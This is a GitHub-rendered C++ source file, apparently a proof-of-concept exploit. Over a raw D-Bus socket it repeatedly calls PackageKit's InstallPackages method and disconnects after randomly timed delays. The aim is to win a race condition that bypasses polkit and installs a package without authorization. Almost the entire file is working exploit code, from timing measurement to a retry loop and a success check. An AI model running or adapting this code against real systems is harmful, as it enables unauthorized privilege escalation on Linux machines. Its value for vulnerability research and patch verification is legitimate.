-
Notifications
You must be signed in to change notification settings - Fork 283
Expand file tree
/
Copy pathinstallpackage.cpp
More file actions
346 lines (304 loc) · 10.2 KB
/
installpackage.cpp
File metadata and controls
346 lines (304 loc) · 10.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
#include "dbus_utils.hpp"
#include "dbus_auth.hpp"
#include "parse.hpp"
#include "utils.hpp"
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <crypt.h>
#include <errno.h>
#include <spawn.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <cstdint>
#include <functional>
#include <memory>
#include <random>
#include <utility>
#include <assert.h>
class DBusSocket : public AutoCloseFD {
public:
DBusSocket(const uid_t uid, const char* filename) :
AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0))
{
if (get() < 0) {
throw ErrorWithErrno("Could not create socket");
}
sockaddr_un address;
memset(&address, 0, sizeof(address));
address.sun_family = AF_UNIX;
strcpy(address.sun_path, filename);
if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) {
throw ErrorWithErrno("Could not connect socket");
}
dbus_sendauth(uid, get());
dbus_send_hello(get());
std::unique_ptr<DBusMessage> hello_reply1 = receive_dbus_message(get());
std::string name = hello_reply1->getBody().getElement(0)->toString().getValue();
std::unique_ptr<DBusMessage> hello_reply2 = receive_dbus_message(get());
}
};
static void send_AddMatch(
const int fd,
const char* objectpath,
const char* member,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk1(
DBusObjectString::mk(
_s("type='signal',sender='org.freedesktop.PackageKit',") +
_s("path='") + _s(objectpath) +
_s("',member='") + _s(member) + "'"
)
),
_s("/org/freedesktop/DBus"),
_s("org.freedesktop.DBus"),
_s("org.freedesktop.DBus"),
_s("AddMatch")
);
std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
throw Error("AddMatch returned an error.");
}
}
static std::string send_PackageKit_CreateTransaction(
const int fd,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk0(),
_s("/org/freedesktop/PackageKit"),
_s("org.freedesktop.PackageKit"),
_s("org.freedesktop.PackageKit"),
_s("CreateTransaction")
);
std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd);
if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) {
throw Error("FindUserByName returned an error.");
}
return reply->getBody().getElement(0)->toPath().getValue();
}
void send_PackageKit_InstallPackage(
const int fd,
const char* objectpath,
const char* packagename,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectUint64::mk(0x2),
DBusObjectArray::mk1(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s(packagename))
)
)
)
),
_s(objectpath),
_s("org.freedesktop.PackageKit.Transaction"),
_s("org.freedesktop.PackageKit"),
_s("InstallPackages")
);
}
static void send_PackageKit_SearchName(
const int fd,
const char* objectpath,
const char* packagename,
const uint32_t serialNumber
) {
dbus_method_call(
fd,
serialNumber,
DBusMessageBody::mk(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectUint64::mk(0),
DBusObjectArray::mk1(
_vec<std::unique_ptr<DBusObject>>(
DBusObjectString::mk(_s(packagename))
)
)
)
),
_s(objectpath),
_s("org.freedesktop.PackageKit.Transaction"),
_s("org.freedesktop.PackageKit"),
_s("SearchNames")
);
}
// Most of the PackageKit methods take a "package_id" as an argument. This
// is an example of a package_id:
//
// bash;5.1-2ubuntu1;amd64;installed:ubuntu-hirsute-main
//
// This function calls the "SearchName" method to find the correct
// package_id for the package that we want to install. The SearchName
// method is a bit annoying to use because it uses signals to reply. So we
// have to use "AddMatch" to intercept the reply.
static std::string lookup_package_id(
const uid_t uid,
const char* socket_filename,
const char* packagename,
bool* is_installed // out parameter
) {
DBusSocket fd(uid, socket_filename);
*is_installed = false;
std::string transaction_id =
send_PackageKit_CreateTransaction(fd.get(), 1001);
printf("lookup_package_id: transaction_id = %s\n", transaction_id.c_str());
// Add listeners for the "Package" and "Finished" signals.
send_AddMatch(fd.get(), transaction_id.c_str(), "Package", 1002);
send_AddMatch(fd.get(), transaction_id.c_str(), "Finished", 1002);
// Call the method.
send_PackageKit_SearchName(fd.get(), transaction_id.c_str(), packagename, 1003);
// Loop until we receive the "Package" signal or the "Finished" signal.
while (true) {
std::unique_ptr<DBusMessage> signal = receive_dbus_message(fd.get());
if (signal->getHeader_messageType() == MSGTYPE_METHOD_RETURN) {
// Ignore. The SearchName method sends a reply containing no
// useful information.
} else if (signal->getHeader_messageType() == MSGTYPE_SIGNAL) {
const char* member =
signal->getHeader_lookupField(MSGHDR_MEMBER).getValue()->toString().getValue().c_str();
if (strcmp(member, "Package") == 0) {
const char* package_id =
signal->getBody().getElement(1)->toString().getValue().c_str();
printf("package_id: %s\n", package_id);
const size_t packagename_len = strlen(packagename);
if (strncmp(packagename, package_id, packagename_len) == 0) {
if (package_id[packagename_len] == ';') {
uint32_t info = signal->getBody().getElement(0)->toUint32().getValue();
if (info == 1) {
*is_installed = true;
}
return _s(package_id);
}
}
} else if (strcmp(member, "Finished") == 0) {
throw Error("lookup_package_id failed: package not found");
} else {
throw Error("lookup_package_id failed: unexpected signal type");
}
} else {
throw Error("lookup_package_id failed: unexpected message type");
}
}
}
// Record the amount of time it takes to get a response from the
// InstallPackage method. The response will be an error because
// it will be denied by polkit. This response time gives us an upper
// bound on how long we need to wait before disconnecting when we
// attempt to trigger the bug.
static long record_time_InstallPackage(
const uid_t uid,
const char* socket_filename,
const char* package_id
) {
DBusSocket fd(uid, socket_filename);
std::string transaction_id =
send_PackageKit_CreateTransaction(fd.get(), 1001);
printf("record_time_InstallPackage: transaction_id = %s\n", transaction_id.c_str());
// Start a timer.
timespec starttime;
clock_gettime(CLOCK_MONOTONIC, &starttime);
send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003);
std::unique_ptr<DBusMessage> reply = receive_dbus_message(fd.get());
// Stop the timer.
timespec endtime;
clock_gettime(CLOCK_MONOTONIC, &endtime);
// Calculate the time difference.
long diff =
(1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
(endtime.tv_nsec - starttime.tv_nsec);
return diff;
}
// This function calls the InstallPackage method, but doesn't wait for the
// reply. Instead it disconnects from D-Bus after the specified number of
// nanoseconds. If we get lucky with the timing of the delay, it will
// hopefully trigger the bug and bypass polkit.
static void attempt_InstallPackage_with_disconnect(
const uid_t uid,
const char* socket_filename,
const char* package_id,
const long delay
) {
DBusSocket fd(uid, socket_filename);
std::string transaction_id =
send_PackageKit_CreateTransaction(fd.get(), 1001);
printf("attempt_InstallPackage_with_disconnect: transaction_id = %s\n", transaction_id.c_str());
timespec duration;
duration.tv_sec = delay / 1000000000;
duration.tv_nsec = delay % 1000000000;
send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003);
clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);
// Returning from this function automatically disconnects us from D-Bus
// because DBusSocket's destructor closes the file descriptor.
}
// Keep trying `attempt_InstallPackage_with_disconnect` with different
// delay values until the exploit succeeds (or we decide to give up).
static void exploit_InstallPackage(
const uid_t uid,
const char* socket_filename,
const char* packagename
) {
bool is_installed = false;
std::string package_id =
lookup_package_id(uid, socket_filename, packagename, &is_installed);
if (is_installed) {
printf("Package %s is already installed.\n", packagename);
return;
}
// First measure how long a regular CreateUser method call takes.
const long elapsed =
record_time_InstallPackage(uid, socket_filename, package_id.c_str());
printf("Elapsed time: %ld nanoseconds\n", elapsed);
// Random number generator which will generate random
// pause times in the range 0 .. 2*elapsed.
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<long> distrib(0, 2*elapsed);
// If it doesn't succeed after 1000 attempts then it probably
// isn't going to work.
for (size_t i = 0; i < 1000; i++) {
const long delay = distrib(gen);
attempt_InstallPackage_with_disconnect(uid, socket_filename, package_id.c_str(), delay);
// Check if the package has been installed.
bool is_installed = false;
lookup_package_id(uid, socket_filename, packagename, &is_installed);
if (is_installed) {
printf("Success!\n");
return;
}
}
throw Error("Failed to install package.");
}
int main(int argc, char* argv[]) {
const char* progname = argc > 0 ? argv[0] : "a.out";
if (argc != 3) {
fprintf(
stderr,
"usage: %s <unix socket path> <package name>\n"
"example: %s /var/run/dbus/system_bus_socket gnome-control-center\n",
progname,
progname
);
return EXIT_FAILURE;
}
const uid_t uid = getuid();
const char* socket_filename = argv[1];
const char* packagename = argv[2];
exploit_InstallPackage(uid, socket_filename, packagename);
return EXIT_SUCCESS;
}